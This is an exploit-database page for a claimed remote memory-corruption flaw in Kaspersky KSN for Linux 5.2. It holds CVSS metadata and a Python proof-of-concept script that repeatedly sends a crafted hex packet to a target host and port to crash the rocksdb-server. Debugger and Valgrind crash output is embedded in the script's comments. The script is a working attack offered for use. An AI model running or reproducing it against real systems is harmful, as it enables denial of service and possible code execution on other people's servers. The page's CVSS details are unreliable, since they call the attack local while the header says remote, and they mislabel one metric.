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Kaspersky KSN for Linux 5.2 Memory Corruption

CVE	Category	Price	Severity
CVE-XXXX-XXXX	CWE-XX	Unknown	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2018-04-25

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System	High	VC	There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System	High	VI	There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System	High	VA	There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact	Negligible	SC	There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System	None	SI	There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System	None	SA	There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.

https://cxsecurity.com/ascii/WLB-2018040201

Kaspersky KSN for Linux 5.2 Memory Corruption

''' # Exploit Author: Juan Sacco <[email protected]> - http://exploitpack.com # # Tested on: Kali i686 GNU/Linux # CVE: NotYet # # Exploit description: # Kaspersky KSN v5.2 is prone to a remote memory corruption because it fails to properly filter the input on the remote subscribers, this leads to heap segments overwrite # and it leads to remote code execution. # # # Program description: # Kaspersky KSN for Linux enables cloud-assisted, multi-layered security for servers and workstations running the Linux operating system. It delivers reliable protection with minimal impact on # performance. # Product homepage: http://kaspersky.com # # Example usage: python kaspersky.py 192.168.1.1 6349 # # [!] Valgrind output: # # =3314== Invalid write of size 4 # ==3314== at 0x24FA74: RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x241814: RequestParser::Parse(unsigned char*, unsigned long, std::function<void (RespObject const&)>) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23B740: Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >::HandleRead(boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x22FF56: boost::asio::detail::reactive_socket_recv_op<boost::asio::mutable_buffers_1, boost::_bi::bind_t<void, boost::_mfi::mf2<void, Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >, boost::system::error_code const&, unsigned long>, boost::_bi::list3<boost::_bi::value<Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >*>, boost::arg<1> (*)(), boost::arg<2> (*)()> > >::do_complete(boost::asio::detail::task_io_service*, boost::asio::detail::task_io_service_operation*, boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23647C: boost::asio::detail::task_io_service::run(boost::system::error_code&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x1E978A: main (in /usr/local/ksn/bin/rocksdb-server) # ==3314== Address 0x0 is not stack'd, malloc'd or (recently) free'd # ==3314== # ==3314== # ==3314== Process terminating with default action of signal 11 (SIGSEGV): dumping core # ==3314== Access not within mapped region at address 0x0 # ==3314== at 0x24FA74: RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x241814: RequestParser::Parse(unsigned char*, unsigned long, std::function<void (RespObject const&)>) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23B740: Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >::HandleRead(boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x22FF56: boost::asio::detail::reactive_socket_recv_op<boost::asio::mutable_buffers_1, boost::_bi::bind_t<void, boost::_mfi::mf2<void, Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >, boost::system::error_code const&, unsigned long>, boost::_bi::list3<boost::_bi::value<Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >*>, boost::arg<1> (*)(), boost::arg<2> (*)()> > >::do_complete(boost::asio::detail::task_io_service*, boost::asio::detail::task_io_service_operation*, boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23647C: boost::asio::detail::task_io_service::run(boost::system::error_code&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x1E978A: main (in /usr/local/ksn/bin/rocksdb-server) # ==3314== If you believe this happened as a result of a stack # ==3314== overflow in your program's main thread (unlikely but # ==3314== possible), you can try to increase the size of the # ==3314== main thread stack using the --main-stacksize= flag. # ==3314== The main thread stack size used in this run was 8388608. # ==3314== # ==3314== HEAP SUMMARY: # ==3314== in use at exit: 769,426 bytes in 7,522 blocks # ==3314== total heap usage: 15,342 allocs, 7,820 frees, 1,354,534 bytes allocated # ==3314== # ==3314== LEAK SUMMARY: # ==3314== definitely lost: 8 bytes in 1 blocks # ==3314== indirectly lost: 0 bytes in 0 blocks # ==3314== possibly lost: 5,328 bytes in 9 blocks # ==3314== still reachable: 764,090 bytes in 7,512 blocks # ==3314== of which reachable via heuristic: # ==3314== newarray : 8,264 bytes in 4 blocks # ==3314== suppressed: 0 bytes in 0 blocks # # [!] Debugger output: # # [----------------------------------registers-----------------------------------] # RAX: 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 --> 0x7f7ee1894760 (<_ZN5boost4asio6detail15task_io_serviceD2Ev>: push r13) # RBX: 0x0 # RCX: 0x7f7ee2913000 --> 0x0 # RDX: 0xffffffffffdf6bf0 # RSI: 0x7ffe127426e0 --> 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 --> 0x7f7ee1894760 (<_ZN5boost4asio6detail15task_io_serviceD2Ev>: push r13) # RDI: 0x0 # RBP: 0x7f7ee28f5338 --> 0x81 # RSP: 0x7ffe127425c0 --> 0x7f7ee2924198 --> 0x7f7ee28f5320 --> 0x5 # RIP: 0x7f7ee18b3a74 (<_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+4>: mov DWORD PTR [rdi],0x1) # R8 : 0x0 # R9 : 0x7 # R10: 0x2 # R11: 0x7f7ee00276d0 --> 0xfffcdfc0fffcd800 # R12: 0x29b # R13: 0x0 # R14: 0x7ffe127426e0 --> 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 --> 0x7f7ee1894760 (<_ZN5boost4asio6detail15task_io_serviceD2Ev>: push r13) # R15: 0x7f7ee2924562 --> 0x543ffb3c7ef1cd2b # EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) # [-------------------------------------code-------------------------------------] # 0x7f7ee18b3a6e: xchg ax,ax # 0x7f7ee18b3a70 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>: push rbx # 0x7f7ee18b3a71 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+1>: mov rbx,rdi # => 0x7f7ee18b3a74 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+4>: mov DWORD PTR [rdi],0x1 # 0x7f7ee18b3a7a <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+10>: lea rdi,[rdi+0x10] # 0x7f7ee18b3a7e <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+14>: call 0x7f7ee184a8a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_assignERKS4_@plt> # 0x7f7ee18b3a83 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+19>: mov BYTE PTR [rbx+0x4],0x0 # 0x7f7ee18b3a87 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+23>: pop rbx # [------------------------------------stack-------------------------------------] # 0000| 0x7ffe127425c0 --> 0x7f7ee2924198 --> 0x7f7ee28f5320 --> 0x5 # 0008| 0x7ffe127425c8 --> 0x7f7ee18a5815 (<_ZN13RequestParser5ParseEPhmSt8functionIFvRK10RespObjectEE+3317>: mov rdi,QWORD PTR [rsp+0x110]) # 0016| 0x7ffe127425d0 --> 0x7f7ee2901c08 --> 0x5a849d1562a512bd # 0024| 0x7ffe127425d8 --> 0x7f7ee29242c8 --> 0x10061030045 # 0032| 0x7ffe127425e0 --> 0x361 # 0040| 0x7ffe127425e8 --> 0x0 # 0048| 0x7ffe127425f0 --> 0x7ffe127426e0 --> 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 (--> ...) # 0056| 0x7ffe127425f8 --> 0x7ffe127426a0 --> 0x0 # [------------------------------------------------------------------------------] # Legend: code, data, rodata, value # Stopped reason: SIGSEGV # 0x00007f7ee18b3a74 in RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) () # gdb-peda$ where # #0 0x00007f7ee18b3a74 in RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) () # #1 0x00007f7ee18a5815 in RequestParser::Parse(unsigned char*, unsigned long, std::function<void (RespObject const&)>) () # #2 0x00007f7ee189f741 in Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >::HandleRead(boost::system::error_code const&, unsigned long ''' import binascii import sys import socket import time def rocksDB(target,port): try: while 1: # Open socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set reuse ON s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind port s.connect((target, port)) print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Connected to:"), target, port print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Establishing connection.. ") packet = binascii.unhexlify(b'4500036100010000400679947f0000017f000001001419100000000000000000500220009e1700005ce528736b32895950f96218411ca66c9b0842c995eacbfc3eacd8187d3aa8488e1cf1f18491606b9c400c42ec88e7399baa7c3b0bca43de853c74d2fbb2c08c9868ad9688b815d6e5a913937ff05217e18ff28d379fa6985204f7f529990a675d2fc70e1a7dbca8334e4faf30ea31cb33f0c1fabbfc92fbaf20d7e63cfe65ee95711a80a406c26b6e60335d74a02b42a454bc6bbcf5153cb20b77c9686b2fff994b224a3dc5fcbd12a562159d845a8b039abf971bb7c79fe74ca7055560c9c513377881b7a033eb797738fc119758f4c6ea1a960cab1299f5b1a6e99e0be889d8bdf05edc7ca6f14a48d35a5f747887e2330a5cc8b722257ecf32987ad1e24aa56c4685fdae028ca7689bdb66b3d951b8021a34a04114f4208c3f9a6d66bcb7cbeec80a716d69375a88202f3cac2562c9595095c61e693080edd5a3318084d974a2130d5cfe439903d6d5b9b3b553143831c6e01f286da4a2339c91cfce00fe17d7584153ab93e723ce2e859d7aaa9f9574af2dbb4ca4d9f8c8f39f4e89a790e5e4e74bbfd44a721594362f1c71cc48721014f451b837aff64624ea8fbc767c50ada655f23c87195b49b854c3e0d69f1585b663a02ad33cfdfd78c43e3531d6802b7271b7518ded3d93338084ca0e7982dc7c76d82c1b0fed91e5dc567262f46e3bd71b66f9d8283784d666a2be99e397a4abe9495168c880d7f371b87f44b38e61d836ccad8afc8c99518fa1240ab5a2a0685a9d450f4b44fefcc6b64ce8f6ec836922670b31ebf62ea5933e272a62ac8ff2c79d8f15a1220a37e5535ec0998aaf8af2f9d0a0f75e96fad8e8b1ae0e2fff70d831c501048644f700527d61d1f6cb177948e0ebea8d4a01fa9c7ca2c4b3472bcdf17e3cfb3f54fb791a43f114514b6821390d2c16e23ff9ffb0b0caa508b2952b0a497a24ce0d8ad05734111034a71d57a624855b95594b7f158903f03c02213c8de27644a2026de0c7477f1550f9f39450718ddf185eb9c5f9fc7b545c838970c4f7e87b69c570a873d8f64fe08ed23c7b8275f8bf54f080508bb244fbf3dc852968bd8a63a8787c8e496508c597ae9f617bfb096bebf94cbb736a6438163f61479816da9d88e2a3ea6b50a828d9c2c6f51f34e29f4fe588a41e5e3a53515d474a5a52b357') # Log the packet in hexa and timestamp fileLog = target + ".log" logPacket = open("exploit.log", "w+") logPacket.write("["+time.strftime('%a %H:%M:%S')+"]"+ " - Writing to socket: " + binascii.hexlify(bytes(packet))+"\n") logPacket.close() # Write bytecodes to socket print("["+time.strftime('%a %H:%M:%S')+"]"+" - "+"Writing to socket: ") s.send(bytes(packet)) # Packet sent: print(bytes(packet)) try: data = s.recv(4096) print("[" + time.strftime('%a %H:%M:%S') + "]" + " - "+ "Data received: '{msg}'".format(msg=data)) except socket.error, e: print '[!] Sorry, No data available' continue s.close() except socket.error as error: print error print "Sorry, something went wrong!" def howtouse(): print "Usage: kaspersky.py hostname port" print "[*] Mandatory arguments:" print "[-] Specify a hostname / port" sys.exit(-1) if __name__ == "__main__": try: # Set target target = sys.argv[1] port = int(sys.argv[2]) print "[*] Kaspersky KSN 0-Day by Juan Sacco <[email protected]>" rocksDB(target, port) except IndexError: howtouse()

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